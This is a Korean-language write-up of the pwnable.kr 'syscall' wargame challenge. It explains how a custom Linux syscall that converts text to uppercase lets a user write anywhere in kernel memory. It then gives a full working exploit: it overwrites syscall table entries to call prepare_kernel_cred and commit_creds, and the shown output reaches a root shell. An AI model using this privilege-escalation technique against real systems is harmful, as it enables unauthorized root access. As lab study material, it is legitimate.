Description
I made a new system call for Linux kernel.
It converts lowercase letters to upper case letters.
would you like to see the implementation?
Download : http://pwnable.kr/bin/syscall.c
ssh [email protected] -p2222 (pw:guest)
Analysis
// adding a new system call : sys_upper #include <linux/module.h> #include <linux/kernel.h> #include <linux/slab.h> #include <linux/vmalloc.h> #include <linux/mm.h> #include <asm/unistd.h> #include <asm/page.h> #include <linux/syscalls.h> #define SYS_CALL_TABLE 0x8000e348 // manually configure this address!! #define NR_SYS_UNUSED 223 //Pointers to re-mapped writable pages unsigned int** sct; asmlinkage long sys_upper(char *in, char* out){ int len = strlen(in); int i; for(i=0; i<len; i++){ if(in[i]>=0x61 && in[i]<=0x7a){ out[i] = in[i] - 0x20; } else{ out[i] = in[i]; } } return 0; } static int __init initmodule(void ){ sct = (unsigned int**)SYS_CALL_TABLE; sct[NR_SYS_UNUSED] = sys_upper; printk("sys_upper(number : 223) is added\n"); return 0; } static void __exit exitmodule(void ){ return; } module_init( initmodule ); module_exit( exitmodule );
sys_upper
입력받은 in 문자열 중 하나의 문자가 소문자일 경우,
대문자로 변환할 수 있도록 아스키 코드값에서 0x20를 빼고 있다.
그렇게 대문자로 모두 변환한 문자열을 out 문자열로 지정한다.
initmodule
initmodule 함수는 리눅스 커널 모듈이 올라갈때 초기화되는 과정에서 호출된다.
시스템 콜 223번에서 sys_upper 함수를 호출할 수 있도록 추가한다.
Solution
환경은 ARMv7l (32비트) 환경이다.
실제로 ssh 접근해서 확인해보면, 시스템 콜 223번이 추가되었다고 dmesg 로그에 나타난다.
sys_upper 함수를 자세히 살펴보면,
변환시킨 대문자 문자열을 리턴하는 것이 아니고
커널 영역에 원하는 주소에다가 값을 쓸 수 있다!
커널 취약점을 통해 root 권한을 획득하려면 commit_creds(prepare_kernel_cred(0));
호출하면 된다.
우선은 commit_creds
와 prepare_kernel_cred
함수 심볼을 찾아보면,
/ $ cat /proc/kallsyms | grep commit_creds 8003f56c T commit_creds 8044548c r __ksymtab_commit_creds 8044ffc8 r __kstrtab_commit_creds / $ cat /proc/kallsyms | grep prepare_kernel_cred 8003f924 T prepare_kernel_cred 80447f34 r __ksymtab_prepare_kernel_cred 8044ff8c r __kstrtab_prepare_kernel_cred
commit_creds
= 0x8003f56c, prepare_kernel_cred
= 0x8003f924 주소이다.
시스템 콜 테이블을 알고 있기 때문에 이제 이 함수들을 호출하기 위해 덮어쓸 것이다.
매개변수가 하나인 시스템콜 함수를 찾아 setfsuid, setfsgid를 대상으로 각각 commit_creds, prepare_kernel_cred 함수로 덮어써보자.
시스템콜 번호는 /usr/include/arm-linux-gnueabihf/asm/unistd.h 파일에서 확인할 수 있었다.
/ $ cat /usr/include/arm-linux-gnueabihf/asm/unistd.h ... #define __NR_setfsuid (__NR_SYSCALL_BASE+138) #define __NR_setfsgid (__NR_SYSCALL_BASE+139) ...
setfsuid는 138번, setfsgid는 139번이다.
이제 아래와 같이 덮어쓰면 된다.
syscall(223, "\x24\xf9\x03\x80", &sct[138]); syscall(223, "\x6c\xf5\x03\x80", &sct[139]);
여기서 \x6c가 소문자 범위인 in[i]>=0x61 && in[i]<=0x7a
에 속하므로,
실제 setfsgid 함수를 호출할때, 커널에서 0x8003f56c에서 0x20을 뺀, 0x8003f54c 주소를 가리키게 된다.
따라서 0x8003f54c 주소에서 0x20만큼 mov r3, r3 더미 명령어를 0x20 크기만큼 넣어주면 된다.
syscall(223, "\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03", 0x8003f54c);
#include <stdio.h> #include <unistd.h> #include <sys/syscall.h> #define SYS_CALL_TABLE 0x8000e348 unsigned int **sct; int main(){ sct = (unsigned int**)SYS_CALL_TABLE; //mov r3, r3... 32bytes syscall(223, "\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03\xe1\xa0\x30\x03", 0x8003f54c); //0x8003f924 = prepare_kernel_cred syscall(223, "\x24\xf9\x03\x80", &sct[138]); //0x8003f56c = commit_creds syscall(223, "\x6c\xf5\x03\x80", &sct[139]); syscall(139, syscall(138, 0)); system("/bin/sh"); return 0; }
Result
... sys_upper(number : 223) is added cttyhack: can't open '/dev/ttyS0': No such file or directory sh: can't access tty; job control turned off / $ cd /tmp /tmp $ vi exp.c /tmp $ gcc -o exp exp.c /tmp $ ./exp /bin/sh: can't access tty; job control turned off /tmp # id uid=0 gid=0 /tmp # cat /root/flag Congratz!! addr_limit looks quite IMPORTANT now... huh? /tmp # qemu-system-arm: terminating on signal 2 Connection to pwnable.kr closed